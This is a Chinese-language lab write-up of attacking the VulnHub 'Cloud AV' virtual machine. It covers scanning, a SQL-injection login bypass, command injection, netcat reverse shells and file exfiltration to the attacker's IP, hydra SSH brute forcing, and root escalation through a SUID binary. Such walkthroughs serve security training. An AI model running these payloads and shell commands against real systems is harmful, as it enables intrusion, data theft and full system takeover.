• 写写打靶记录。
  • 靶机地址:https://www.vulnhub.com/entry/boredhackerblog-cloud-av,453/
  • Vulnhub 的靶机都有一个特点,通常导入到 VMware Workstation 时都会获取不到 IP 地址,虽然可以进紧急模式中修改,但是太麻烦了,还是将 Kali 和靶机桥接吧。

信息收集

  • 由于将 Kali 与 VulnHub 使用 Virtual Box 仅主机网卡进行了桥接,所以使用 Kali 去扫描靶机。
  • 首先查看 Kali IP 地址:
1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[~]
└─# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.56.105 netmask 255.255.255.0 broadcast 192.168.56.255
inet6 fe80::adc5:106b:ff3c:9390 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:a8:8a:0b txqueuelen 1000 (Ethernet)
RX packets 24 bytes 10921 (10.6 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 549 bytes 40698 (39.7 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
  • 扫描当前网段,发现靶机 IP 地址:
1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[~]
└─# arp-scan 192.168.56.0/24
Interface: eth0, type: EN10MB, MAC: 00:0c:29:a8:8a:0b, IPv4: 192.168.56.105
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1 0a:00:27:00:00:1a (Unknown: locally administered)
192.168.56.100 08:00:27:ea:40:88 PCS Systemtechnik GmbH
192.168.56.107 08:00:27:1e:54:35 PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.987 seconds (128.84 hosts/sec). 3 responded
  • 继续使用 Nmap 扫描端口、开放服务等信息:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(root㉿kali)-[~]
└─# nmap -p- 192.168.56.107
Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-07 02:31 EST
Nmap scan report for 192.168.56.107
Host is up (0.00058s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
8080/tcp open http-proxy
MAC Address: 08:00:27:1E:54:35 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 17.75 seconds

┌──(root㉿kali)-[~]
└─# nmap -p 22,8080 -sV 192.168.56.107
Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-07 02:32 EST
Nmap scan report for 192.168.56.107
Host is up (0.00057s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
8080/tcp open http Werkzeug httpd 0.14.1 (Python 2.7.15rc1)
MAC Address: 08:00:27:1E:54:35 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.64 seconds
  • 扫描出 8080 端口的 Web 服务,通常情况下不考虑 SSH 爆破,访问一下 Web 服务:
image-20230830222318218
  • 只有一个输入框,需要使用邀请码登录。没啥多余的东西,这时一般是存在两种方法:

    • 暴力破解

    • SQL 注入

SQL 注入

  • 在输入框进行测试,当使用双引号时,页面出现报错:

image-20230830222346521

  • 并且在页面上出现了 SQL 查询语句:
1
2
3
4
5
if len(c.execute('select * from code where password="' + password + '"').fetchall()) > 0:

select * from code where password="' + password + '"

select * from code where password=" "
  • 发现闭合符号为双引号,尝试闭合:
1
" or 1 = 1 --+

image-20230830222404690

  • 闭合成功,按钮变为 Scan,扫个 hello 试试:

image-20230830222417126

命令执行

  • 猜测后端代码逻辑为,尝试是否存在命令执行:
1
2
3
scan hello

scan hello ; ls
  • 发现执行成功,显示出文件:

image-20230830222437476

Shell 反弹

  • 由于对端是 Linux 系统,查看一下是否存在 NC:
1
hello | which nc

image-20230830222459677

  • 发现存在有 NC,使用 NC 进行 Shell 反弹:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Kali 上使用 NC 开启监听
nc -lvvp 4444

┌──(root㉿kali)-[~]
└─# nc -lvvp 4444
listening on [any] 4444 ...

# 在靶机上进行反弹
hello | nc 192.168.56.105 4444 -e /bin/sh # 执行失败,可能是此版本的 NC 不支持 -e 参数

# 在 Kali 上开启两个监听端口
nc -lvvp 3333
nc -lvvp 4444

# 在靶机上反弹
hello |nc 192.168.56.105 3333 |/bin/bash |nc 192.168.56.105 4444 # 当不支持 -e 参数时,使用 NC 进行串联

image-20230830222511694

文件传输

  • 在当前目录下发现了一个 SQL 文件,使用 NC 将其下载到 Kali 上:
1
2
3
4
5
# 在 Kali 上再开一个 NC 监听用于传输文件
nc -lvvp 5555

# 在 NC 的 3333 端口上进行文件传输
nc 192.168.56.105 5555 < database.sql

image-20230830222530665

  • 经过判断,发现是一个 sqlite 文件,将其导入到 sqlite 中查看:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(root㉿kali)-[~]
└─# sqlite3
SQLite version 3.39.2 2022-07-21 15:24:47
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> .open db.sql
sqlite> .database
main: /root/db.sql r/w
sqlite> .dump
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE `code` (
`password` TEXT
);
INSERT INTO code VALUES('myinvitecode123');
INSERT INTO code VALUES('mysecondinvitecode');
INSERT INTO code VALUES('cloudavtech');
INSERT INTO code VALUES('mostsecurescanner');
COMMIT;
  • 建档尝试了一下,发现是开头登录的邀请码,好像没啥用,那就先放一放。
  • 查看一下当前靶机的所有用户:

image-20230830222622625

  • 发现两个用户,但是好像也没用。

SSH 爆破

  • 根据上面数据库文件找到的密码和此处找到的用户,使用 hydra 进行爆破:
  • 创建用户、密码字典:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# user.txt
vim user.txt

root
cloudav
scanner

# pass.txt
vim pass.txt

myinvitecode123
mysecondinvitecode
cloudavtech
mostsecurescanner
  • 输入如下命令进行 SSH 爆破:
1
hydra -L user.txt -P pass.txt ssh://192.168.56.107

image-20230830222647291

  • 爆破失败..

SUID 提权

  • 再次去翻一翻文件,发现一个文件的权限不大对劲:
1
cd .. | ls -al

image-20230830222707568

  • 查看一下源码文件内容:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
cat update_cloudav.c

#include <stdio.h>

int main(int argc, char *argv[])
{
char *freshclam="/usr/bin/freshclam";

if (argc < 2){
printf("This tool lets you update antivirus rules\nPlease supply command line arguments for freshclam\n");
return 1;
}

char *command = malloc(strlen(freshclam) + strlen(argv[1]) + 2);
sprintf(command, "%s %s", freshclam, argv[1]);
setgid(0);
setuid(0);
system(command);
return 0;

}
  • 其中有句:This tool lets you update antivirus rules, Please supply command line arguments for freshclam,翻译一下是说明可以在后面添加参数,尝试一下:
1
2
3
4
5
# 随便加一个参数
./update_cloudav "123" # 显示报错:ERROR: /var/log/clamav/freshclam.log is locked by another process

# 不管他,尝试命令执行
./update_cloudav "123 | ls" # 执行成功!
  • 既然上述命令执行可以实现,再来一次 NC Shell 反弹:
1
2
3
4
5
6
# 在 Kali 上开启两个监听端口
nc -lvvp 6666
nc -lvvp 7777

# 在靶机上反弹
./update_cloudav "123 |nc 192.168.56.105 6666 |/bin/bash |nc 192.168.56.105 7777"

image-20230830222824468

  • 提权成功!打靶结束。

注意事项

  • 在使用 SQL 注入时,也可以使用 BurpSuite 进行爆破,但是很容易扫崩,需要控制一下速率。